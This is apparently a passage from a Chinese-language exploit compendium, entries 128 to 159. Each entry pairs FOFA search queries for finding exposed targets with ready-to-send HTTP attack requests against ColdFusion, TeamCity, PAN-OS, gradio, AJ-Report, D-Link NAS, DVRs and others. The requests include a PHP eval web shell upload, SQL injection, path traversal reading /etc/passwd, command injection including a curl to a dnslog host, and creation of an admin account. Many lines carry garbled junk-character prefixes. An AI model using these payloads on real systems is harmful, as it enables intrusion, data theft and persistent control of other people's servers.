' w4 n$ z, M( C<test>&t;</test>
2 I! K1 E" v2 t( j8 Y" n------WebKitFormBoundaryJGgV5l5ta05yAIe0--

" b5 f5 M3 B1 H0 i/ `' J+ I: t  Y
! X$ s" g% i+ A( m, n# f
9 F) C% L4 u: Q# K/ [" O128. Adobe ColdFusion 反序列化
CVE-2023-38203
* C# v' U! \8 Z& Z' |Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
+ o8 E. t( [5 v( }, c7 K3 L8 Q) ~FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
8 S1 O' K  N6 W8 t! C) zGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
& j1 T2 G3 j& p* pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
3 _* h* G* B4 G  E. _

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
# j5 N( G# E: z7 [. K2 N- oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 O9 K9 j. Y7 L; i9 O# OAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
, ~6 S: b# o2 @" t+ u8 huuid: 85f60018-a654-4410-a783-f81cbd5000b9
/ S# S0 R. P) g3 e+ }3 p, I5 B
+ i; ?  G& f! E/ E7 _4 U
( u  Z/ |$ p% K+ n2 U, j1 A- D5 [130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
8 X! A$ }" t5 X  s# ~, a5 l5 DAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
& u8 t3 C9 T/ F1 d5 {5 I- NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. F1 C( ]1 v$ O8 O% Y: Z; \) }Cookie: user_name=1; user_id=3
Connection: close
+ M+ r* J8 v% @5 ^
# @. v5 `7 R" H0 \2 K6 z------WebKitFormBoundary3OCVBiwBVsNuB2kR
! O5 T" D8 T9 Z: q7 \1 UContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
: x8 @( \: J' C2 e! @1 D
4 z$ U4 F! x# _% |/ p. g<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


# R9 S. ~6 A& m131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
# ~2 {! k9 G( W$ Rhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
4 {6 U0 ~5 o# JCVE-2024-27198
FOFA：body="Log in to TeamCity"
! H8 c4 O# g- d. d  d9 M% z! IPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
/ s9 p5 D5 b* U  h' jHost: 192.168.40.130:8111
4 j6 i/ V; y' v8 }4 s9 f. O9 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
1 Z8 k# \  a. `Accept-Encoding: gzip, deflate
. u% Y- u+ p# H( e  Z$ h
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
" O6 g9 ^# s* Z5 c3 j
" Y( R- [, J' W( _8 l
CVE-2024-27199
& e; X. B* `. q8 Z+ a/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
, w: ]/ u; u2 y' H0 c8 R) A
7 Z" v% E) z( I& x
CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
2 F( p1 a. s3 g7 M. WFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
2 Y2 y, ^/ n6 Z' ]: H2 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
$ s6 g; v5 m' n" E& s) e0 g; b
2 n# S; P7 q& C' J------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

9 E: V( P/ C  y3 }<?php system("cat /etc/passwd");unlink(__FILE__);?>
# U# w+ C0 E$ s; V; o------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
' Z% C. Z; K4 E/ L& [


/ u  m9 t2 l1 S. @6 I0 E134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
+ T* `. P) G  d, h  t$ @Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 ?$ z& S& |( U( fPOST /protocol/index.php HTTP/1.1
0 F: K9 D/ s0 O* \9 N' YHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
7 J/ @; y7 c- eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
* ]* ?7 M; P% s3 e7 O* AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: t1 z* y; H- W: M. w" g. _" @$ ^" `) `Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
8 R( Q8 y" `$ L6 ?  _  eSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
0 A. C" P+ `7 y+ c; |# UTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
- v6 T* m5 i; S) @% kContent-Length: 263
5 M* k4 ^" Y8 f, h+ i
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
0 ]0 |7 T; B( c4 J* l) E8 Y
/ V2 o. G( [8 X" |6 o6 Y) M
* o  D& Y& T2 C7 ~) R% p3 e135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
$ j; @) n' B: O" f) h8 NGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
3 ~" F9 O8 X+ l8 b* pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 L- }- @$ Y* ^% ^7 m: _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  v8 g$ @: S1 E) KAccept-Language: zh-CN,zh;q=0.9
Connection: close


0 ^; [# u; @) z/ ?136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
! i% j6 K4 I6 b$ o+ ]GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
0 d9 n( y3 A! D8 o. I; @# n- nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
0 J" N; b; Z! U9 d6 `Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 u9 P" `  ~9 B+ W" W' a7 S/ BGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 V' o; h! d9 B+ c: R$ xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" N3 z$ D( ?) z, [Accept-Encoding: gzip, deflate, br
2 n1 h+ }% _- `! W* ]Connection: close
; L! f, `' u0 F& |  ZCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
( s! a6 H" _; v8 ^2 T' h& G% ZUpgrade-Insecure-Requests: 1
. X+ `$ o. ?9 {, \. }  D: w* g

' f. U: A1 I+ ?2 H138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
  i0 W" K' p3 O; }; PFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
* o4 K6 Q. x$ H9 L9 r9 GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; n. S1 M  `4 Z. W5 y& T3 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, k* Y; Z' x- S- S% `# xAccept-Encoding: gzip, deflate, br
! X" M- ]5 v3 M7 s7 Z. n, _  lConnection: close
Upgrade-Insecure-Requests: 1


5 R# r' Z5 \5 X( @7 ]9 z8 c$ J8 W139. 福建科立讯通信指挥调度平台editemedia.php sql注入
$ R$ r3 f  `- M" xCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
: u% M* H$ D# B. h& A9 v' MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& C6 q5 f- Y8 C+ c* |7 wConnection: close
  U" p" i. J8 @Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
  ?7 H; j0 I9 ^. v" z# KUpgrade-Insecure-Requests: 1
4 D- ~/ Y! y2 _4 X3 ?7 h) T
% W9 [  y" O$ @" Q! z# B7 u! v1 C
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 d  h/ Q/ d7 L( _5 M4 L  oCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- D& ^  e6 Y8 V/ W* bGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
! d  n9 t# v$ P" m7 A$ bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! G; _2 c: ]- ], y+ g# r- b8 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" L9 f; k" g3 @, VConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
2 H! k/ l. n( ~- \' o
7 X7 H/ n6 ?3 x8 p0 u. H& I4 K
% n6 [# \# D! T141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
8 X$ ]& s& Q" J% T4 qPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
; b/ [& s2 a) l5 v

2 x. w4 E0 i$ D: A! ~5 i0 `dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


0 K4 e* g6 C  M5 G  X142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
- D3 g! t1 D2 `. P9 l9 K) D5 K143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
  t, t. u% m+ O5 w( r' O& cFOFA：title='AP setup' && header='netis'
$ b, o+ r2 R1 W% x  G' u) N# R# l2 HPAYLOAD
3 ~  [  p7 Y- K, X; S: x' k
$ f1 p0 ^6 V7 ~4 X1 S144. D-Link nas_sharing.cgi 命令注入
. X+ O8 d' U! ?7 xFOFA：app="D_Link-DNS-ShareCenter"
- I; q8 a  D3 ]- bsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
. s. X$ o9 y+ c+ vHost: x.x.x.x
% S: X5 O6 v! C4 b5 ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
1 `" C8 D1 l1 SAccept: */*
) f# K6 @, s% v5 CAccept-Language: en
) b( E+ `5 s9 m0 G+ `4 O7 |# xAccept-Encoding: gzip
: }9 e+ R: D1 k% M: e  `, M4 q
2 m3 C( W/ t4 h+ E, n: S
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
2 F- J0 }; B3 ]) h/ a' KFOFA：icon_hash="-631559155"
5 V7 T/ a- B1 p6 qGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
; t  s6 n5 K$ ?7 W4 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
) v6 j: K+ I4 ]2 m: l8 zCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


; r- e9 b( O4 \) c. q% M. T146. MajorDoMo thumb.php 未授权远程代码执行
6 Y+ w2 ^6 t% c2 L0 UCNVD-2024-02175
3 ]! H% U1 X: V" z- V1 XFOFA：app="MajordomoSL"
; J8 t2 L1 r# E2 mGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
" A. x8 P0 ~. p7 }, ?5 ZAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
  T0 L" b9 @0 J  w% F0 BConnection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
/ V: j% F' e  Y9 }# ]FOFA：body="RaidenMAILD"
$ b, c" B3 Z  L: tGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
" N: M# \! ^% o3 |0 y0 g' vCache-Control: max-age=0
% U7 F3 L- N4 V- |7 M1 g2 G% n3 ^Connection: close
7 X! j" t! _5 a6 l
+ _% Z7 B8 w! t; D
9 g# b, ]" z1 v( Y148. CrushFTP 认证绕过模板注入
CVE-2024-4040
) k& m7 h( ^; ]FOFA：body="CrushFTP"
PAYLOAD

( A! w+ T* `. t$ ?0 d149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
6 v3 s6 {% ]( I& _
2 a8 j# x  A3 b. m7 s: BPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
* I4 O, |" F$ D" R6 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 D$ f# w: \' fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ h+ I# D5 c& r6 P1 y2 LAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
/ B8 n, {1 w: C5 ~: eConnection: close
, c  f7 t& X0 o$ o+ G& B' b
9 K, S2 w% K) ?6 D1 W6 Z{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

  f6 d7 n* h. [4 |150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 ]9 h: [# E$ w5 \& d. iFOFA：title="AJ-Report"
! D/ L! P2 l% Y( TPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
7 A$ i1 }% V  a+ b  [/ f0 I1 A0 {Host: x.x.x.x
4 r6 W* R9 f5 y6 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ P1 u; ^. a, |& LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
7 k1 e7 S; y5 P# c5 {- o2 WAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
0 A1 `! ]0 z# K: y9 ?6 ^Connection: close
, w) V0 J" ~. yContent-Length: 339
  G3 h. S3 @# g# \( [
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

/ O% x1 H3 s% ^2 B
  V7 k2 l) M4 N4 _4 B151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
. E! i* C  @2 u/ d4 ?7 P3 C0 ~GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
' y: W! ~# Y0 Y( p8 {$ U3 |. s- yHost: x.x.x.x
6 ^1 t4 M& y) L+ ?5 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
# }7 i. `7 Q% L

" D5 a) Q) u+ U: }) ^152. Progress Kemp LoadMaster 远程命令执行
& ?% b, Z, }4 O: z. r5 sCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
% |+ i5 h5 y7 F6 B* i0 Z8 s, yLoadMaster<=7.2.54.8 (LTSF)
- v/ m! p& y$ U  p& v: q, [- n* nLoadMaster <= 7.2.48.10 (LTS)
) e/ p) v2 s2 S0 kFOFA：body="LoadMaster"
7 w& J. T* y9 A" Y5 C$ KJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
4 y% e% G) [  K9 @GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
0 \' R- z. T7 q! o$ r, |Accept-Language: en
3 Z2 W/ N# F2 F% b+ UAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
& y  ]+ N; |) w  G- T, Z% a0 zAccept-Encoding: gzip
, _/ Q- W' V! \* _8 Z4 A& c5 ]

- Y2 s6 s1 G% J* ?/ D153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
* ]( i8 T) Z: C9 j$ C第一步，请求/config文件获取componets的id
  v, b# K3 C5 K( |( s4 mhttp://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
3 |( m. q" y/ ^3 h7 w% p9 [; zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
. \# q1 F+ F4 FContent-Length: 115
! l( B" M' v- s3 PContent-Type: application/json
Accept-Encoding: gzip
) m# ?$ K% n6 z7 [- ^, g9 S$ D
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
% V+ @+ o( K) \8 u0 W4 k

第三步访问
6 ]8 u# a( I/ b8 F# m9 b; r" Ehttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
% |9 X, O* v( N( X

, a$ u* @: a9 J$ C154. 天维尔消防救援作战调度平台 SQL注入
* n. g6 {# h: Z) jCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
: S& @! Y# W, g' l# TPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
( W4 V* t1 E, X. o* Z; R0 h7 c9 kOrigin: http://x.x.x.x
9 h" H% T$ @/ z& m# w) m7 JContent-Type: application/json
1 |  Q9 Z  P# W9 n  DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
2 @# j. ^0 q( ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
. D% N6 B# c- R4 eAccept-Encoding: gzip, deflate
/ O! j2 ?5 F3 \, w6 hAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
! b% q$ ?% @/ e0 Q; d& rConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

8 u( r* A0 B1 _! a- b8 w) W. T! c
) M. \0 q( m& I- x9 @155. 六零导航页 file.php 任意文件上传
$ J; ?7 v, T3 ACVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
# p( y8 x  l2 a- W- w, y. F. HPOST /include/file.php HTTP/1.1
7 [. A5 L. L* G' lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
0 P  u- o' K- ~: o, i; W( C, ?Accept: application/json, text/javascript, */*; q=0.01
) _. l; n0 _# C9 j9 F6 EAccept-Encoding: gzip, deflate, br
. }9 u4 o# P1 K! [* ?0 ^: uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
: u; L0 |, r, ~. ~3 l5 i  P; vX-Requested-With: XMLHttpRequest

+ A6 f/ u% l+ U-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
7 L, J) m3 o4 `
<?php phpinfo();unlink(__FILE__);?>
% O- M3 V7 c8 M5 a  R-----------------------------qttl7vemrsold314zg0f--
: u1 Q: g4 c. T$ `6 ]

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
$ `' S9 Y8 D+ N& o0 y% xFOFA："Location: /login.rsp"
6 d6 L) y& f7 V3 E·TBK DVR-4104
6 o( k, F# r0 ~; f# }·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
2 u9 s3 i2 k+ H+ _' g" q

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 e6 A& o. I& BConnection: close
Content-Length: 0
7 g9 C5 m" L% N7 X9 x, v# a2 UCookie: uid=1
: S- f( R2 W' `Accept-Encoding: gzip

4 i0 g2 S) F8 Q# v
+ r! e& {6 Q$ L+ B: \8 N5 R4 p157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
' E0 [; f2 S8 a! |0 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
2 Y* y3 M* q7 y7 |3 e8 w2 ~Content-Length: 709
. l$ t! u* @& h. DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
: @  D* ^0 z1 c1 b- i" OContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
1 O) i6 e" F' {; eUpgrade-Insecure-Requests: 1
8 E" L, n- J) p, s- M6 d
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
; P5 q9 d! W# @4 tContent-Type: application/octet-stream

1 w4 A& Z2 Q- v" F0 `+ enyhelxrutzwhrsvsrafb
' y1 ^3 l  J! U3 [" f& j------WebKitFormBoundary1imovELzPsfzp5dN
: h  b# T6 D) aContent-Disposition: form-data; name="key"
! A/ T$ k. p8 i/ c/ c4 C% i
& {. e6 r/ z8 j& }null
, m8 A+ o$ N, G1 i7 d5 P/ O------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
0 Z+ h) h; ]0 b4 ~
: @3 D7 e5 Z. X5 X/ jnull
1 x, t* u% B/ h/ `------WebKitFormBoundary1imovELzPsfzp5dN
- y$ m; i$ g/ i1 \Content-Disposition: form-data; name="field"
: I- H8 c' @% x/ Y: B  i' a, C
null
  D* r# e& Y2 {------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
6 V, w" S8 `& x$ x/ C) @
null
  @' D$ j( h) c! a% r------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
& Q- n. x' B, ?0 ^: J
null
- {2 i' ]1 \- F5 R& O------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
' _" [4 N% A9 N* [POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
& s9 ~* c2 L& ?Host: {{Hostname}}
  v" ]4 W- G  R) W7 A9 z5 @Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
1 ~4 @' A, u& f6 h. [1 A

& N5 H" g& i7 j* q& A+ U159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
